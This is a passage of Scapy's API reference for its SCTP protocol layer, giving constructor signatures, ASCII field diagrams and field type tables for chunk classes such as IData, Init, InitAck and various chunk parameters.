+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SCTPChunkHeartbeatReq                    


SCTPChunkHeartbeatReq fields






	type

	ByteEnumField

	4



	flags

	XByteField

	None



	len

	FieldLenField

	None



	params

	ChunkParamField

	[]















	
class scapy.layers.sctp.SCTPChunkIData(_pkt, /, *, type=64, reserved=None, delay_sack=0, unordered=0, beginning=0, ending=0, len=None, tsn=None, stream_id=None, reserved_16=None, message_id=None, ppid_fsn=None, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L645-L670]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |RESERVE|D|U|B|E|              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TSN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STREAM ID           |          RESERVED 16          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MESSAGE ID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PPID FSN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SCTPChunkIData                        


SCTPChunkIData fields






	type

	ByteEnumField

	64



	reserved

	BitField  (4 bits)

	None



	delay_sack

	BitField  (1 bit)

	0



	unordered

	BitField  (1 bit)

	0



	beginning

	BitField  (1 bit)

	0



	ending

	BitField  (1 bit)

	0



	len

	FieldLenField

	None



	tsn

	XIntField

	None



	stream_id

	XShortField

	None



	reserved_16

	XShortField

	None



	message_id

	XIntField

	None



	ppid_fsn

	MultipleTypeField (IntEnumField, XIntField, XIntField)

	None



	data

	PadField

	None















	
class scapy.layers.sctp.SCTPChunkIForwardTSN(_pkt, /, *, type=194, flags=None, len=None, new_tsn=None, skips=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L698-L699]

	Bases: SCTPChunkForwardTSN


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEW TSN                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SKIPS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SCTPChunkIForwardTSN                     


SCTPChunkIForwardTSN fields






	type

	ByteEnumField

	194



	flags

	XByteField

	None



	len

	FieldLenField

	None



	new_tsn

	IntField

	None



	skips

	ChunkParamField

	[]















	
class scapy.layers.sctp.SCTPChunkInit(_pkt, /, *, type=1, flags=None, len=None, init_tag=None, a_rwnd=None, n_out_streams=None, n_in_streams=None, init_tsn=None, params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L702-L712]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INIT TAG                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             A RWND                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         N OUT STREAMS         |          N IN STREAMS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INIT TSN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SCTPChunkInit                        


SCTPChunkInit fields






	type

	ByteEnumField

	1



	flags

	XByteField

	None



	len

	FieldLenField

	None



	init_tag

	XIntField

	None



	a_rwnd

	IntField

	None



	n_out_streams

	ShortField

	None



	n_in_streams

	ShortField

	None



	init_tsn

	XIntField

	None



	params

	ChunkParamField

	[]















	
class scapy.layers.sctp.SCTPChunkInitAck(_pkt, /, *, type=2, flags=None, len=None, init_tag=None, a_rwnd=None, n_out_streams=None, n_in_streams=None, init_tsn=None, params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L715-L716]

	Bases: SCTPChunkInit


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INIT TAG                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             A RWND                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         N OUT STREAMS         |          N IN STREAMS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INIT TSN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SCTPChunkInitAck                       


SCTPChunkInitAck fields






	type

	ByteEnumField

	2



	flags

	XByteField

	None



	len

	FieldLenField

	None



	init_tag

	XIntField

	None



	a_rwnd

	IntField

	None



	n_out_streams

	ShortField

	None



	n_in_streams

	ShortField

	None



	init_tsn

	XIntField

	None



	params

	ChunkParamField

	[]















	
class scapy.layers.sctp.SCTPChunkPad(_pkt, /, *, type=132, flags=None, len=None, padding=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L858-L866]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SCTPChunkPad                         


SCTPChunkPad fields






	type

	ByteEnumField

	132



	flags

	XByteField

	None



	len

	FieldLenField

	None



	padding

	PadField

	None















	
class scapy.layers.sctp.SCTPChunkParamAdaptationLayer(_pkt, /, *, type=49158, len=8, indication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L556-L559]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           INDICATION                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SCTPChunkParamAdaptationLayer                


SCTPChunkParamAdaptationLayer fields






	type

	ShortEnumField

	49158



	len

	ShortField

	8



	indication

	XIntField

	None















	
class scapy.layers.sctp.SCTPChunkParamAddIPAddr(_pkt, /, *, type=49153, len=None, correlation_id=None, addr_type=5, addr_len=None, addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L512-L529]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CORRELATION ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ADDR TYPE           |            ADDR LEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SCTPChunkParamAddIPAddr                   


SCTPChunkParamAddIPAddr fields






	type

	ShortEnumField

	49153



	len

	FieldLenField

	None



	correlation_id

	XIntField

	None



	addr_type

	ShortEnumField

	5



	addr_len

	FieldLenField

	None



	addr

	MultipleTypeField (IPField, IP6Field, StrFixedLenField)

	b''















	
class scapy.layers.sctp.SCTPChunkParamAddIncomingStreamReq(_pkt, /, *, type=18, len=12, re_conf_req_seq_num=None, num_new_stream=None, reserved=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L455-L456]

	Bases: SCTPChunkParamAddOutgoingStreamReq


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      RE CONF REQ SEQ NUM                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         NUM NEW STREAM        |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. SCTPChunkParamAddIncomingStreamReq              


SCTPChunkParamAddIncomingStreamReq fields






	type

	ShortEnumField

	18



	len

	XShortField

	12



	re_conf_req_seq_num

	XIntField

	None



	num_new_stream

	XShortField

	None



	reserved

	XShortField

	None















	
class scapy.layers.sctp.SCTPChunkParamAddOutgoingStreamReq(_pkt, /, *, type=17, len=12, re_conf_req_seq_num=None, num_new_stream=None, reserved=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L446-L452]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      RE CONF REQ SEQ NUM                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         NUM NEW STREAM        |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. SCTPChunkParamAddOutgoingStreamReq              


SCTPChunkParamAddOutgoingStreamReq fields






	type

	ShortEnumField

	17



	len

	XShortField

	12



	re_conf_req_seq_num

	XIntField

	None



	num_new_stream

	XShortField

	None



	reserved

	XShortField

	None















	
class scapy.layers.sctp.SCTPChunkParamChunkList(_pkt, /, *, type=32771, len=None, chunk_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L473-L480]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CHUNK LIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SCTPChunkParamChunkList                   


SCTPChunkParamChunkList fields






	type

	ShortEnumField

	32771



	len

	FieldLenField

	None



	chunk_list

	PadField

	[]















	
class scapy.layers.sctp.SCTPChunkParamCookiePreservative(_pkt, /, *, type=9, len=8, sug_cookie_inc=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L378-L381]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUG COOKIE INC                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SCTPChunkParamCookiePreservative               


SCTPChunkParamCookiePreservative fields






	type

	ShortEnumField

	9



	len

	ShortField

	8



	sug_cookie_inc

	XIntField

	None















	
class scapy.layers.sctp.SCTPChunkParamDelIPAddr(_pkt, /, *, type=49154, len=None, correlation_id=None, addr_type=5, addr_len=None, addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L532-L533]

	Bases: SCTPChunkParamAddIPAddr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CORRELATION ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ADDR TYPE           |            ADDR LEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SCTPChunkParamDelIPAddr                   


SCTPChunkParamDelIPAddr fields






	type

	ShortEnumField

	49154



	len

	FieldLenField

	None



	correlation_id

	XIntField

	None



	addr_type

	ShortEnumField

	5



	addr_len

	FieldLenField

	None



	addr

	MultipleTypeField (IPField, IP6Field, StrFixedLenField)

	b''















	
class scapy.layers.sctp.SCTPChunkParamECNCapable(_pkt, /, *, type=32768, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L459-L461]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SCTPChunkParamECNCapable                   


SCTPChunkParamECNCapable fields






	type

	ShortEnumField

	32768



	len

	ShortField

	4















	
class scapy.layers.sctp.SCTPChunkParamErrorIndication(_pkt, /, *, type=49155, len=None, correlation_id=None, error_causes=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L536-L543]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CORRELATION ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ERROR CAUSES         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SCTPChunkParamErrorIndication                


SCTPChunkParamErrorIndication fields






	type

	ShortEnumField

	49155



	len

	FieldLenField

	None



	correlation_id

	XIntField

	None



	error_causes

	PadField

	b''















	
class scapy.layers.sctp.SCTPChunkParamFwdTSN(_pkt, /, *, type=49152, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L507-L509]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SCTPChunkParamFwdTSN                     


SCTPChunkParamFwdTSN fields






	type

	ShortEnumField

	49152



	len

	ShortField

	4















	
class scapy.layers.sctp.SCTPChunkParamHeartbeatInfo(_pkt, /, *, type=1, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L339-L345]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SCTPChunkParamHeartbeatInfo                 


SCTPChunkParamHeartbeatInfo fields






	type

	ShortEnumField

	1



	len

	FieldLenField

	None



	data

	PadField

	b''















	
class scapy.layers.sctp.SCTPChunkParamHostname(_pkt, /, *, type=11, len=None, hostname=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L384-L390]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            HOSTNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SCTPChunkParamHostname                    


SCTPChunkParamHostname fields






	type

	ShortEnumField

	11



	len

	FieldLenField

	None



	hostname

	PadField

	b''















	
class scapy.layers.sctp.SCTPChunkParamIPv4Addr(_pkt, /, *, type=5, len=8, addr='127.0.0.1')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L348-L351]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SCTPChunkParamIPv4Addr                    


SCTPChunkParamIPv4Addr fields






	type

	ShortEnumField

	5



	len

	ShortField

	8



	addr

	IPField

	'127.0.0.1'















	
class scapy.layers.sctp.SCTPChunkParamIPv6Addr(_pkt, /, *, type=6, len=20, addr='::1')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L354-L357]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SCTPChunkParamIPv6Addr                    


SCTPChunkParamIPv6Addr fields






	type

	ShortEnumField

	6



	len

	ShortField

	20



	addr

	IP6Field

	'::1'















	
class scapy.layers.sctp.SCTPChunkParamInSSNResetReq(_pkt, /, *, type=14, len=None, re_conf_req_seq_num=None, stream_num_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L417-L426]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      RE CONF REQ SEQ NUM                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        STREAM NUM LIST        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SCTPChunkParamInSSNResetReq                 


SCTPChunkParamInSSNResetReq fields






	type

	ShortEnumField

	14



	len

	FieldLenField

	None



	re_conf_req_seq_num

	XIntField

	None



	stream_num_list

	PadField

	[]















	
class scapy.layers.sctp.SCTPChunkParamOutSSNResetReq(_pkt, /, *, type=13, len=None, re_conf_req_seq_num=None, re_conf_res_seq_num=None, tsn=None, stream_num_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L403-L414]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      RE CONF REQ SEQ NUM                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      RE CONF RES SEQ NUM                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TSN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        STREAM NUM LIST        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SCTPChunkParamOutSSNResetReq                 


SCTPChunkParamOutSSNResetReq fields






	type

	ShortEnumField

	13



	len

	FieldLenField

	None



	re_conf_req_seq_num

	XIntField

	None



	re_conf_res_seq_num

	XIntField

	None



	tsn

	XIntField

	None



	stream_num_list

	PadField

	[]















	
class scapy.layers.sctp.SCTPChunkParamRandom(_pkt, /, *, type=32770, len=None, random=<RandBin>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L464-L470]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RANDOM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SCTPChunkParamRandom                     


SCTPChunkParamRandom fields






	type

	ShortEnumField

	32770



	len

	FieldLenField

	None



	random

	PadField

	<RandBin>















	
class scapy.layers.sctp.SCTPChunkParamReConfigRes(_pkt, /, *, type=16, len=12, re_conf_res_seq_num=None, result=None, sender_next_tsn=None, receiver_next_tsn=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L436-L443]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      RE CONF RES SEQ NUM                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             RESULT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        SENDER NEXT TSN                        |
